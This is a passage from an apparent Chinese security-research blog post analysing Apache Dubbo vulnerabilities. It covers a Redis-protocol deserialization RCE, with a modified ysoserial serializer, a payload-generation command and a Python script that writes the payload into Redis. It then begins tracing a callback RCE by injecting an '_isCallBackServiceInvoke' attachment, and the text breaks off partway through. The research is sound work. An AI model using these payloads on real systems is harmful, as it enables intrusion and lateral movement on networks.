style="font-family:宋体;">不同的协议是不同的入口分支，我们选择</span>redis<span style="font-family:宋体;">协议跟一下，首先改造一下我们的</span>Demo<span style="font-family:宋体;">，改成</span>redis<span style="font-family:宋体;">协议的版本，</span>Provider<span style="font-family:宋体;">做如下修改，根据官网的文档，我们增加</span>get<span style="font-family:宋体;">和</span>set<span style="font-family:宋体;">方法：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> DemoService {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> sayHello(<span class="code-snippet__built_in">String</span> name);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> <span class="code-snippet__keyword">get</span>(<span class="code-snippet__built_in">String</span> key);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> <span class="code-snippet__keyword">set</span>(<span class="code-snippet__built_in">String</span> key,<span class="code-snippet__built_in">Object</span> value);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> HttpProvider {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throwsException {</span></code><code><span class="code-snippet_outer">       ClassPathXmlApplicationContext context = newClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;spring/http-provider.xml&#34;</span>);</span></code><code><span class="code-snippet_outer">        context.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        System.out.println(<span class="code-snippet__string">&#34;dubbo service started&#34;</span>);</span></code><code><span class="code-snippet_outer">       RegistryFactory registryFactory = ExtensionLoader.getExtensionLoader(RegistryFactory.class).getAdaptiveExtension();</span></code><code><span class="code-snippet_outer">        Registry registry =registryFactory.getRegistry(URL.valueOf(<span class="code-snippet__string">&#34;zookeeper://121.37.161.179:2181&#34;</span>));</span></code><code><span class="code-snippet_outer">        registry.register(URL.valueOf(<span class="code-snippet__string">&#34;redis://192.168.176.2/org.apache.dubbo.samples.http.api.DemoService?category=providers&amp;dynamic=true&amp;application=http-provider&amp;group=member&amp;loadbalance=consistenthash&#34;</span>));</span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        newCountDownLatch(<span class="code-snippet__number">1</span>).await();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>Consumer<span style="font-family:宋体;">做如下修改：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">HttpConsumer</span> {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span>(<span class="code-snippet__params">String[] args</span>) throwsException</span> {</span></code><code><span class="code-snippet_outer">       ClassPathXmlApplicationContext context = newClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;spring/http-consumer.xml&#34;</span>);</span></code><code><span class="code-snippet_outer">        context.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        DemoServicedemoService = (DemoService) context.getBean(<span class="code-snippet__string">&#34;demoService&#34;</span>);</span></code><code><span class="code-snippet_outer">        String result = demoService.<span class="code-snippet__keyword">get</span>(<span class="code-snippet__string">&#34;rebeyond&#34;</span>);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-family:宋体;">程序执行流程为：</span>Consumer<span style="font-family:宋体;">向</span>Provider<span style="font-family:宋体;">请求</span>demoService<span style="font-family:宋体;">的引用，这个引用其实就是个</span>redis<span style="font-family:宋体;">服务，然后执行</span>demoService<span style="font-family:宋体;">的</span>get<span style="font-family:宋体;">方法去</span>redis<span style="font-family:宋体;">里面取数据。</span></p><p><span style="font-family:宋体;">定位到</span>redis<span style="font-family:宋体;">协议的实现代码</span></p><p>org.apache.dubbo.rpc.protocol.redis.RedisProtocol<span style="font-family:宋体;">，如下：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="340" data-backw="578" data-ratio="0.58828125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d9a6c0db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaPYf0MzMcNyJ6JJCMB1LHzdFJOVFe1K5wt9ms2OSpgFjWmYqic7wBpzQ%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">可以看到红框里面在处理</span>set<span style="font-family:宋体;">方法时，没有像</span>memcached<span style="font-family:宋体;">那样调用原生</span>jedis client<span style="font-family:宋体;">的</span>get<span style="font-family:宋体;">方法，而是将</span>key<span style="font-family:宋体;">的内容作为字节流的形式读取出来并进行了反序列化处理。不过这里负责反序列化的是</span>ObjectInput<span style="font-family:宋体;">接口，由于这个接口的实现类比较多，要实际看一下具体是哪个实现类执行的反序列化操作，下断点跟进去看一下：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="338" data-backw="578" data-ratio="0.584375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=86fb3f66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcapQGntredgQlv5RJcCjPz8GDW2dTNRrz04cztVNvDAZ6iay3WBA8j6JA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">可以看到</span>oin<span style="font-family:宋体;">的类型是</span>JavaObjectInput<span style="font-family:宋体;">，</span>JavaObjectInput<span style="font-family:宋体;">是</span>dubbo<span style="font-family:宋体;">对</span>Java<span style="font-family:宋体;">原生</span>ObjectInputStream<span style="font-family:宋体;">的一个简单封装，继续跟进</span>oin.readObject<span style="font-family:宋体;">：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="183" data-backw="578" data-ratio="0.3171875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=ef4b4c86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCca3pPb7shxVYFjaR40MYz8TukITP4roSdJicoIsffa46RppB74pKQkicgg%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">直接调用了</span>java.io.ObjectInputStream<span style="font-family:宋体;">中的</span>readObject<span style="font-family:宋体;">方法来反序列化，没有任何过滤。不过这里要注意一下，我们在构造</span>payload<span style="font-family:宋体;">的时候，需要绕过下面这个小坑：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span> b =getObjectInputStream().readByte();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (b == <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-family:宋体;">后面我们在构造</span>payload<span style="font-family:宋体;">的时候，需要在恶意反序列化对象的字节码之前先放一个字节的</span>0<span style="font-family:宋体;">数据，才能绕过上面这个校验。</span></p><p><span style="font-family:宋体;">接下来就是构造</span>payload<span style="font-family:宋体;">，我在复现历史漏洞的时候看到</span>CVE-2019-17564<span style="font-family:宋体;">中利用的是</span>CommonCollections4.0<span style="font-family:宋体;">的</span>Gadgets<span style="font-family:宋体;">，我们也采用这个链来构造</span>Poc<span style="font-family:宋体;">，在生成</span>Poc<span style="font-family:宋体;">之前，为了使</span>Poc<span style="font-family:宋体;">绕过前面那个坑，需要先对</span>ysoserial.jar<span style="font-family:宋体;">做一个简单的改造，如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">serialize</span><span class="code-snippet__params">(<span class="code-snippet__keyword">final</span> Object obj, <span class="code-snippet__keyword">final</span> OutputStream out)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">final</span> ObjectOutputStream objOut = <span class="code-snippet__keyword">new</span> ObjectOutputStream(out);</span></code><code><span class="code-snippet_outer">   objOut.writeByte(<span class="code-snippet__number">1</span>);  <span class="code-snippet__comment">//add thisline to control the execution flow to subsequent deserialization in dubbo</span></span></code><code><span class="code-snippet_outer">   objOut.writeObject(obj);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-family:宋体;">重新构建</span>ysoserial.jar<span style="font-family:宋体;">后执行如下命令生成</span>payload<span style="font-family:宋体;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">java8</span> -jar ysoserial.jarCommonsCollections4 <span class="code-snippet__string">&#34;open /System/Applications/Calculator.app&#34;</span></span></code></pre></section><p><span style="font-family:宋体;">把</span>payload<span style="font-family:宋体;">写入</span>redis<span style="font-family:宋体;">：</span></p><p><span lang="EN-US"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__comment">#!/bin/python</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">#coding=utf-8</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">import redis,binascii</span></code><code><span class="code-snippet_outer">r = redis.StrictRedis(host=<span class="code-snippet__string">&#39;192.168.176.2&#39;</span>, port=6379, db=0)</span></code><code><span class="code-snippet_outer">payload=open(<span class="code-snippet__string">&#39;/tmp/payload&#39;</span>,<span class="code-snippet__string">&#39;rb&#39;</span>).<span class="code-snippet__built_in">read</span>()</span></code><code><span class="code-snippet_outer">printbinascii.b2a_hex(payload)</span></code><code><span class="code-snippet_outer">r.set(<span class="code-snippet__string">&#39;rebeyond&#39;</span>, payload)</span></code></pre></section><p><span lang="EN-US"></span><br/></p><p><span style="font-family:宋体;">运行</span>Consumer<span style="font-family:宋体;">，</span>payload<span style="font-family:宋体;">成功执行：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="371" data-backw="578" data-ratio="0.6421875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bae37e17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCca8CbPXKL2YjqpxuTt6VyHyLEG3MfEicvPtP5DIJrYrko17lqwFzUFNgA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">根据官网文档可知，</span>dubbo<span style="font-family:宋体;">不提供</span>redis<span style="font-family:宋体;">协议服务的导出，只提供</span>redis<span style="font-family:宋体;">协议服务的引用，因此这个漏洞的攻击场景主要用于内网横向移动，当控制了内网一台</span>redis<span style="font-family:宋体;">后，批量获取</span>dubbo client<span style="font-family:宋体;">主机的权限。</span></p><p><span style="font-family:宋体;"><br/></span></p><h3><span style="font-size: 18px;"><strong>四、Dubbo callback</strong><strong><span style="font-size: 18px;font-family: 宋体;">远程代码执行漏洞</span></strong></span></h3><p><span style="font-family:宋体;">打完</span>client<span style="font-family:宋体;">不够过瘾，接下来继续打</span>server<span style="font-family:宋体;">。</span></p><p>Dubbo<span style="font-family:宋体;">推荐的默认通信协议是</span>dubbo<span style="font-family:宋体;">协议，下面我们就分析下</span>dubbo<span style="font-family:宋体;">协议的入口处理类</span>DubboProtocol<span style="font-family:宋体;">，经过一波我注意到如下代码：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="127" data-backw="578" data-ratio="0.2203125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=c4b25172&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcayoNC8YdHpZXicTU8buwickSLyKFibuiaqQfHrA9hwfBl2Aq2sRYBy8egWQ%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">这段代码有两个问题，第一个问题在于</span>logger.warn<span style="font-family:宋体;">，我们先看另外一处调用</span>logger.warn<span style="font-family:宋体;">的代码：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="78" data-backw="578" data-ratio="0.134375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0f510400&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaTUeqacEzA0IvJunHkF5WiadQgW75pVoUabHI9x92h6OrWrSTH1mcPNg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;">可以看到，</span>Dubbo<span style="font-family:宋体;">在其他地方调用</span>logger.warn<span style="font-family:宋体;">的时候都会事先通过</span>isWarnEnabled<span style="font-family:宋体;">函数判断下有没有开启</span>log<span style="font-family:宋体;">，但是</span>137<span style="font-family:宋体;">行这里没有判断，直接无条件执行了</span>logger.warn<span style="font-family:宋体;">。</span></p><p><span style="font-family:宋体;">第二个问题在于，这里的</span>inv<span style="font-family:宋体;">对象没有通过</span>getInvocationWithoutData<span style="font-family:宋体;">方法进行清洗。</span><span style="font-family:宋体;">这两个问题构成了一个漏洞前提，前提有了，下面的问题是怎么控制程序走到这个分支里面。</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="389" data-backw="578" data-ratio="0.67265625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=50316ac9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaFWgTDZibHtiaTs1TDLia2MdKk7zdJ2AUrgYcVpWfDwdEYhNWsZZb00pQA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">从上图代码可以看出核心的分支控制点在于</span></p><p>inv.getObjectAttachments().get(IS<em>CALLBACK</em>SERVICE<em>INVOKE)</em><em><span style="font-family:宋体;">的值，只有当</span>inv.getObjectAttachments().get(IS</em>CALLBACK<em>SERVICE</em>INVOKE)<span style="font-family:宋体;">的值为</span>true<span style="font-family:宋体;">的时候，才能执行进入这个问题分支。根据</span>CallBack<span style="font-family:宋体;">这个关键词，我了解了一下</span>Dubbo<span style="font-family:宋体;">执行回调机制，也就是说</span>Consumer<span style="font-family:宋体;">在远程调用</span>Provider<span style="font-family:宋体;">的方法时，也可以让</span>Provider<span style="font-family:宋体;">回过来调用</span>Consumer<span style="font-family:宋体;">的方法，这个过程就是回调。我对</span>Demo<span style="font-family:宋体;">重新改造一下，做了个</span>callback<span style="font-family:宋体;">的版本，</span>Provider<span style="font-family:宋体;">侧如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">interface</span> CallbackService {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__comment">/**</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     *这个索引为1的是callback类型。</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * dubbo 将基于长连接生成反向代理，就可以在服务端调用客户端逻辑</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     * @param key</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     *@param listener</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">     */</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">void</span> addListener(<span class="code-snippet__built_in">String</span> key, CallbackListenerlistener);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> CallbackServiceImpl <span class="code-snippet__keyword">implements</span> CallbackService {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> finalMap&lt;<span class="code-snippet__built_in">String</span>, CallbackListener&gt;listeners;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> CallbackServiceImpl() {</span></code><code><span class="code-snippet_outer">        listeners =newConcurrentHashMap&lt;&gt;();</span></code><code><span class="code-snippet_outer">        Thread t = newThread(() -&gt; {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">while</span> (<span class="code-snippet__literal">true</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                   <span class="code-snippet__keyword">for</span> (Map.Entry&lt;<span class="code-snippet__built_in">String</span>, CallbackListener&gt;entry : listeners.entrySet()) {</span></code><code><span class="code-snippet_outer">                       <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            entry.getValue().changed(getChanged(entry.getKey()));</span></code><code><span class="code-snippet_outer">                       } <span class="code-snippet__keyword">catch</span> (Throwable t1) {</span></code><code><span class="code-snippet_outer">                            listeners.remove(entry.getKey());</span></code><code><span class="code-snippet_outer">                       }</span></code><code><span class="code-snippet_outer">                   }</span></code><code><span class="code-snippet_outer">                   Thread.sleep(<span class="code-snippet__number">5000</span>); <span class="code-snippet__comment">// timely trigger change event</span></span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (Throwable t1) {</span></code><code><span class="code-snippet_outer">                   t1.printStackTrace();</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        });</span></code><code><span class="code-snippet_outer">        t.setDaemon(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        t.start();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> addListener(<span class="code-snippet__built_in">String</span> key, CallbackListener listener){</span></code><code><span class="code-snippet_outer">        listeners.put(key, listener);</span></code><code><span class="code-snippet_outer">        listener.changed(getChanged(key)); <span class="code-snippet__comment">// send notification for change</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">String</span> <span class="code-snippet__keyword">get</span> Changed(<span class="code-snippet__built_in">String</span> key) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span><span class="code-snippet__string">&#34;Changed: &#34;</span> + newSimpleDateFormat(<span class="code-snippet__string">&#34;yyyy-MM-dd HH:mm:ss&#34;</span>).format(newDate());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>Consumer<span style="font-family:宋体;">侧：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">HttpConsumer</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span> throwsException </span>{</span></code><code><span class="code-snippet_outer">       ClassPathXmlApplicationContext context = newClassPathXmlApplicationContext(<span class="code-snippet__string">&#34;spring/http-consumer.xml&#34;</span>);</span></code><code><span class="code-snippet_outer">        context.start();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">       CallbackService callbackService = context.getBean(<span class="code-snippet__string">&#34;callbackService&#34;</span>,CallbackService.class);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 增加listener</span></span></code><code><span class="code-snippet_outer">       callbackService.addListener(<span class="code-snippet__string">&#34;foo.bar&#34;</span>, newCallBackDemo());</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">static</span> <span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">CallBackDemo</span> <span class="code-snippet__keyword">implements</span> <span class="code-snippet__title">CallbackListener</span> </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__meta">@Override</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">changed</span><span class="code-snippet__params">(String msg)</span> </span>{</span></code><code><span class="code-snippet_outer">            System.out.println(<span class="code-snippet__string">&#34;I am callback:&#34;</span> + msg);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>Demo<span style="font-family:宋体;">运行结果如下，</span>Provider<span style="font-family:宋体;">成功回调了</span>Consumer<span style="font-family:宋体;">的</span>changed<span style="font-family:宋体;">方法：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="204" data-backw="578" data-ratio="0.35390625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=cce4024a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcazjC3XGNzoLr7WU50e5FJpcK4qySlc316ZHwbE5fLndU627Zwyg7qGw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">因为</span>Dubbo<span style="font-family:宋体;">的</span>Provider<span style="font-family:宋体;">和</span>Consumer<span style="font-family:宋体;">共用同一套</span>Dubbo<span style="font-family:宋体;">的代码，在问题代码处打断点，然后同时运行</span>Provider<span style="font-family:宋体;">和</span>Consumer<span style="font-family:宋体;">，果然不出意外，</span>Provider<span style="font-family:宋体;">没有断下来，</span>Consumer<span style="font-family:宋体;">断下来了：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="256" data-backw="578" data-ratio="0.4421875" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=2ef0255a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaGgqJYxOETOwMcL1cG502CZ9Q8DGkzmFR74XSLjYyWSMEdSLDibPtEicw%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p style=""><span style="font-family:宋体;">由此可知这个漏洞分支只有机会在Consumer侧执行，这个也是意料之中，对Dubbo来说，Consumer调用Provider是正常调用，Provider反过来调用Consumer才叫“回调”，因此Dubbo的流程只存在Provider回调Consumer，不存在Consumer回调Provider。但是我们的目标是Provider，所以需要让Provider把某个正常调用强制作为“回调”。如何判断一个请求是“正调”还是“回调”？前文已经提到，就是</span></p><p><span style="font-family:宋体;">inv.getObjectAttachments().get(ISCALLBACKSERVICEINVOKE)的值为true的时候，即attachments中的isCallBackServiceInvoke值为true的时候。</span></p><p><span style="font-family:宋体;">接下来的目标就是要在Provider侧寻找一个分支，可以改写inv的attachments，尝试在源码中寻找如下调用点：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="274" data-backw="578" data-ratio="0.475" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=12af5e1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCca7vLsF4lL3zq0LCgF9t6RLLicXO5wPic81vX0cFp3OF6svdcApu6TW0VA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><span style="font-family:宋体;">找了一圈没发现</span>key<span style="font-family:宋体;">和</span>value<span style="font-family:宋体;">同时可控的点，暂时陷入僵局，准备从其他思路突破，再次运行一下</span>callback<span style="font-family:宋体;">的</span>Demo<span style="font-family:宋体;">并抓包：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="113" data-backw="578" data-ratio="0.19609375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d71d5ac1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaXyjFC4EjG7fpHxmMEonUJLUaBpMrdMQdDZkraNKkEq7QKqFez4md0Q%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">上面的数据流，红色是Consumer发给Provider的，蓝色是Provider返回给Consumer的。当我看到syscallbackarg-1字样的时候，顿时豁然开朗了，之前客户端的断点中，attachments中有一个key就是syscallbackarg-1，也就是说，attachments是用户可控的，经过一波分析，最终定位到Provider侧的如下代码段：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="286" data-backw="578" data-ratio="0.49453125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=047d4df6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcaAaBGIfuaYx5nickNyPqvdBYjy4P5nOiaSMLcdCpeMpqibsnqshD7YmXRA%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p><span style="font-family:宋体;">赶紧模拟客户端，在上面那个数据包的基础上，往里塞一个键值对：</span>&#34;_isCallBackServiceInvoke&#34;<span style="font-family:宋体;">：</span>&#34;true&#34;<span style="font-family:宋体;">，在</span>Provider<span style="font-family:宋体;">侧上图红框处打上断点，成功断了下来：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="351" data-backw="578" data-ratio="0.6078125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a49edf93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicGAuPv4LvWQiaFcEQ06GCcasdC2kpzL5RCD38wmGcBz5sC2xCjdnVibdiag41R4vLnwy8EnqFFGpoeQ%2F640%3Fwx_fmt%3Dpng"/></p><p><em><br/></em></p><p>F8<span style="font-family:宋体;">步过，可以看到</span>&#34;_isCallBackServiceInvoke&#34;<span style="font-family:宋体;">：</span>&#34;true&#34;<span style="font-family:宋体;">被成功注入：</span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="423" data-backw="578" data-ratio="0.7328125" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" 